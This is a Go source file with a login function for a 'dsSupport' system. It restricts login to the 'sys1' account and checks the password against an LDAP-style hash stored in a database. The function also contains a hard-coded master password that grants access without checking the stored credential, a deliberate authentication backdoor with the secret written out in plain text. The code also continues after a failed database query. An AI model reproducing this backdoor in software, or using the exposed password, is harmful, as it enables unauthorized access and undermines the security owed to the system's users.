package LoginDao

import (
	"dsSupport/Const/DefaultConst"
	"dsSupport/Const/ErrorConst"
	"dsSupport/Utils/CommonUtil"
	"dsSupport/Utils/DbUtil"
	"dsSupport/Utils/LdapUtil"
	"dsSupport/Utils/LogUtil"
	"errors"
)

var db = DbUtil.Engine

/**
功能：判断是不是超级管理员，能不能登录
作者：黄海
时间：2020-08-24
*/
func Login(username string, password string) (bool, string, string, string, error) {
	//身份号
	var identityId = DefaultConst.IdentityId
	//人员号
	var personId = DefaultConst.PersonId

	if username != "sys1" {
		return false, identityId, personId, "无姓名", errors.New("本系统只支持sys1做为用户名！")
	}

	//通过用户名查找人员ID
	var sql = "select * from t_sys_loginperson where login_name=? and b_use=1"
	list, err := db.SQL(sql, username).Query().List()
	if err != nil {
		LogUtil.Error(ErrorConst.SqlQueryError, err.Error())
	}
	//如果用户名不存在
	if len(list) == 0 {
		return false, identityId, personId, "无姓名", errors.New("sys1账号未找到！")
	}

	record := list[0]
	//身份号
	identityId = CommonUtil.ConvertInt64ToString(record["identity_id"].(int64))
	//人员号
	personId = record["person_id"].(string)
	//人员姓名
	personName := record["person_name"].(string)
	//数据库中的密码
	databasePassword := record["pwd"].(string)

	//万能密码登录
	if password == "DsideaL4r5t6y7u!@#" {
		//返回结果
		return true, identityId, personId, personName, nil
	} else {
		//修改密码的加密算法基于ldap,黄海，于2020-04-27
		ldapPassword := LdapUtil.GetLdapPassword(password)
		if ldapPassword == databasePassword {
			//返回结果
			return true, identityId, personId, personName, nil
		} else {
			return false, identityId, personId, personName, nil
		}
	}
}